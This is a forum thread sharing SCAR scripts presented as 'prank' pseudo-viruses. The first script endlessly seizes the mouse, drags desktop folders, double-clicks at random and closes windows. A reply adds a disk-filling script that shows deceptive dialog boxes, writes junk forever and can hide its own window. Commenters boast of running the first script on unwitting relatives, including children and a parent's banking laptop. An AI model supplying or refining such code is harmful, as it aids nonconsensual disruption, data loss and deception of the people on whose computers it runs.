[Non RS] Fun Prank/Psuedo Virus made in SCAR!

well..... yeah. I was bored at my friends house and I decided to freak him out. I hope you guys have fun.... or even make your own versions. Its very simple.

basically it loops this sequence of events:

1..drags and drops folders from your desktop randomly and opens folders etc...
2..Mouse freezes....
3..activity stops until mouse is moved
4..cursor moves randomly when the mouse is touched- double clicking on it's end location.
5.. closes all open windows

Code:

program FuXor;
var
t,x,y,p,q:integer;

procedure a;
begin
t:=0
repeat
t:=t+1
findcolor(x,y,10420223,0,0,5000,5000)
holdmouse(x,y,true)
movemouse(random(1000),random(1000))
releasemouse(x,y,true)
until(t=20)
end;

procedure b;
begin
t:=0
findcolor(x,y,16777215,0,598,5000,5000)
repeat
t:=t+1
clickmouse(x,y,false)
until(t=10000)
end;


procedure MMouse(dx,dy:Integer);
var
  x,y,xx, yy, math,rx,ry: Integer;
  Step:Extended;
begin
rx:=0
ry:=0
  step:=4;
  xx:=random(rx);yy:=random(ry);
  math:=Random(4)+1;
  case math of
    1: begin dx:=dx+xx; dy:=dy+yy; end;
    2: begin dx:=dx-xx; dy:=dy+yy; end;
    3: begin dx:=dx+xx; dy:=dy-yy; end;
    4: begin dx:=dx-xx; dy:=dy-yy; end;
  end;
  GetMousePos(x,y);
  repeat
    if(Distance(x,y,dx,dy)<100)then
      if(not(Distance(x,y,dx,dy)=0))then
        step:=step-(10/Distance(x,y,dx,dy));
    if(step<1)then
      step:=1;
    x:=x+Round((dx-x)/step);
    y:=y+Round((dy-y)/step);
    MoveMouse(x,y);
    Wait(10);
  until(Distance(x,y,dx,dy)=0);
end;

procedure c;
begin
t:=0
repeat
getmousepos(x,y)
repeat
getmousepos(p,q)
until((x=p)=false)
mmouse(random(1000),random(1000))
wait(100)
getmousepos(x,y)
clickmouse(x,y,true)
clickmouse(x,y,true)
t:=t+1
until(t=10)
end;

procedure d;
begin
t:=0
repeat
if (findcolor(x,y,4353237,0,0,5000,5000) or findcolor(x,y,10461118,0,0,5000,5000))=  true then
clickmouse(x,y,true)
t:=t+1
until(t=5)
end;


procedure startfuxination;
begin
a
b
c
d
end;

begin
repeat
startfuxination
until(false)
end.

(mmouse & distance procedures ripped from rsci.scar)

 

lol i did it to my friends. they freaked out.

 

LMAO that is so cooool I did it to my brother he almost cried lol

 

Lmfao

 

rofl what does it do?

 

Wow, this looks hilarious! I can't put it on anyone else's computer though...

 

i can make it in vb as an .exe.... but then it might as well be a trojan.

 

Zamorakianfaith, if you can still stop it then it would be cool

 

LMAO, i made my cousin cry (hes 16).. I told him it was a virus from some porn download he did... lol so funny... rofl.. gj

 

yeah in VB i could make hotkeys to start/stop it... I'll work on it when I have nothing better to do. (prob never lol.)

 

lol you seem to be bored

 

Man i did it on my moms banking laptop she was mad as hell

 

Lol, i did it to myself, funny shit there
Good job

 

man I did it to my sister she is 11 and he was flipping out lol

 

Haha did that to myself, classic stuff there

 

Hahahahah
Man Make It VB Ill Love You

 

I suggest adding GetSelf.hide; so it'll hide the SCAR window. Also you should be able to stop it by pressing the stop script hotkey

Oh, and I made my own "SCAR virus" kinda thingie.. Like 2 mins of work there.

Code:

//Just fills your hard drive with thrash.
//Useful to the max.
program Lool;

procedure Trash;
var
  Dex: string;
  Ran: Integer;
  OFF: Integer;
begin
  ClearDebug;
  Ran:=Random(1000);
  Dex:=' Buttsecks? ';
  GetApplication.MessageBox('The script needs to create a file to keep log of randoms and such.', 'INFO', 0);
  GetApplication.MessageBox('SO DO NOT DECLINE IT WHEN IT CREATES THE TEXT FILE!', 'Remember.', 0);
  GetApplication.MessageBox('Theres also a number after the name of randomlog, so u can have multiple logs without deletion.', 'Moar info =).', 0);
  Dex:=Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex;
  Dex:=Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex;
  OFF:= RewriteFile(AppPath + 'RandomLog'+IntToStr(Ran)+'.txt', False); // Random number in the name.
  if(OFF > -1)then   //So if after crashing the person tries again.. There just comes a new file.
  begin
    GetApplication.MessageBox('There was a error.. Script needs to close. Sorry!', 'Error!', 0);
//    GetSelf.Hide; // Uncomment GetSelf.Hide so it hides from the screen.
    repeat
      WriteFileString(OFF, Dex); // Write more and more trash..
    until(False) //Forever.
  end;
end;

begin
  Trash;
end.

That thing also has a "disguise"

 

lmao sweet!

 

its gets so annoying when you want to stop it..

 

LMAO, funniest script I have ever seen. Thanks for making it, will use it .